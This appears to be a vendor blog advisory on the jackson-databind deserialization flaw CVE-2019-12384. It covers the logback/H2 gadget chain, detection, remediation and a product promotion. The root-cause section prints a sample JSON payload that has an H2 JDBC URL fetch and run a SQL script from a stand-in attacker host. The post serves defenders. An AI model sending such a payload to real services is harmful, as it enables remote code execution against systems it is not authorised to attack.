If you have ever watched a Java security team play whack-a-mole, you have watched them patch jackson-databind. Between 2017 and 2020 the library accumulated a long series of CVEs that all share the same root shape: polymorphic deserialization plus a "gadget" class already sitting on the application's classpath. CVE-2019-12384 is one of the most instructive entries in that series, because it shows how two individually benign libraries — a logging framework and an in-memory database — combine into a remote code execution chain when jackson-databind is told to trust type information from untrusted JSON.
Vulnerability identity and severity
CVE-2019-12384 affects FasterXML jackson-databind 2.x before 2.9.9.1. The flaw is a failure to block the logback-core class ch.qos.logback.core.db.DriverManagerConnectionSource from polymorphic deserialization; when that class and a suitable JDBC driver are present, deserializing attacker-controlled JSON can lead to remote code execution.
Severity scoring for this CVE is a useful lesson in context. The NVD's CVSS 3.1 assessment lands at 5.9 (Medium) with a high attack-complexity metric (AC:H), reflecting that exploitation depends on specific libraries being present. Other analyses using the CVSS 3.0 scheme rated it as high as 9.8. The gap is not a contradiction — it is the whole point. This vulnerability's real severity is a function of your classpath, and a raw score alone will mislead you in either direction.
Timeline and impact
- Mid-2019 — the logback gadget is identified as bypassing jackson-databind's existing deserialization blocklist.
- June 2019 — jackson-databind 2.9.9.1 ships, adding the offending class to the blocklist; Red Hat tracks the issue in Bugzilla 1725807 and it is published to the NVD.
- Following months — the CVE propagates through downstream products and platforms, appearing in dozens of vendor security bulletins because jackson-databind is embedded so widely.
The practical impact is remote code execution on services that (a) enable default typing, (b) deserialize untrusted JSON into loosely typed targets, and (c) happen to have logback-core and an exploitable JDBC driver such as H2 on the classpath. That combination was common in Spring-era Java stacks, which is why this class of bug was so consequential.
Root cause: default typing plus a gadget
By default, Jackson deserializes JSON into a known target type and is safe. The danger begins when an application enables default typing (historically ObjectMapper.enableDefaultTyping()), which instructs Jackson to honor a type hint embedded in the JSON itself — typically an @class-style field — and to instantiate whatever class it names. An attacker who controls the JSON now controls which class gets constructed.
For CVE-2019-12384 the chosen class is logback's DriverManagerConnectionSource, which opens a JDBC connection to a URL the attacker supplies. Point that URL at an H2 database and abuse H2's RUNSCRIPT (or INIT) feature, and you can force H2 to fetch and execute a SQL script from a remote HTTP server — a script that, in turn, defines and runs arbitrary code. The following is a safe, conceptual sketch of the shape of a malicious payload, not a working exploit:
[
"ch.qos.logback.core.db.DriverManagerConnectionSource",
{ "url": "jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://attacker.example/evil.sql'" }
]
Jackson sees the type hint, constructs the connection source, the JDBC layer honors the H2 INIT clause, H2 downloads the script, and code executes. The 2.9.9.1 fix added this gadget to the blocklist — but that is exactly the whack-a-mole problem: a blocklist can only stop the gadgets someone has already found.
Detection
- Search for default typing. Grep your Java sources for
enableDefaultTyping, and foractivateDefaultTypingused without a restrictive validator. Any hit on a mapper that touches untrusted input is a red flag. - Enumerate jackson-databind versions. Run
mvn dependency:treeorgradle dependenciesand look for anycom.fasterxml.jackson.core:jackson-databindresolving below 2.9.9.1. - Check the classpath for gadget enablers. The presence of
logback-coretogether with an in-memory database driver like H2 is what converts the theoretical bug into an exploitable one. - Review deserialization entry points — REST endpoints, message consumers, cache layers — where external JSON is parsed into polymorphic or
Object-typed fields.
Remediation and patched versions
- Upgrade jackson-databind to 2.9.9.1 or later at minimum. Because this is a blocklist addition, staying current on the 2.9.x (and ideally 2.10+) line is essential to inherit subsequent gadget blocks.
- Stop using default typing. This is the durable fix. Remove
enableDefaultTyping()entirely where you can. - If you genuinely need polymorphism, move to jackson-databind 2.10+ and use
activateDefaultTypingwith a strictPolymorphicTypeValidatorthat allowlists only the exact base types you expect. An allowlist beats a blocklist every time. - Prefer explicit typing. Annotate models with
@JsonTypeInfobound to a known, closed set of subtypes instead of relying on global default typing. - Remove unnecessary risky libraries from the classpath — if H2 is only a test dependency, ensure it is not shipped in production artifacts.
How Safeguard helps
CVE-2019-12384 is the canonical case for context-aware analysis, because its severity is decided by your dependency graph, not by a number in a database. Safeguard's software composition analysis pinpoints every jackson-databind version across your services and, critically, tells you whether the gadget-enabling companions — logback-core, H2, and similar — are present in the same artifact, so you can separate the genuinely exploitable services from the ones where the CVE is inert. Griffin AI, our detection engine, goes further into the code, flagging the enableDefaultTyping and unvalidated activateDefaultTyping call sites that are the true root cause rather than just the version. Auto-fix remediation then proposes the correct dependency bump and the safer configuration in a ready-to-review pull request, so the fix lands without a manual archaeology dig through your build files. Curious how this depth of analysis compares to a mainstream scanner? See Safeguard versus Snyk, and review straightforward, usage-based pricing.
The jackson-databind saga is really a lesson about blocklists: they buy time, but the only permanent fix is refusing to instantiate arbitrary types from untrusted input. Create a free Safeguard account or read the documentation to find your exposure today.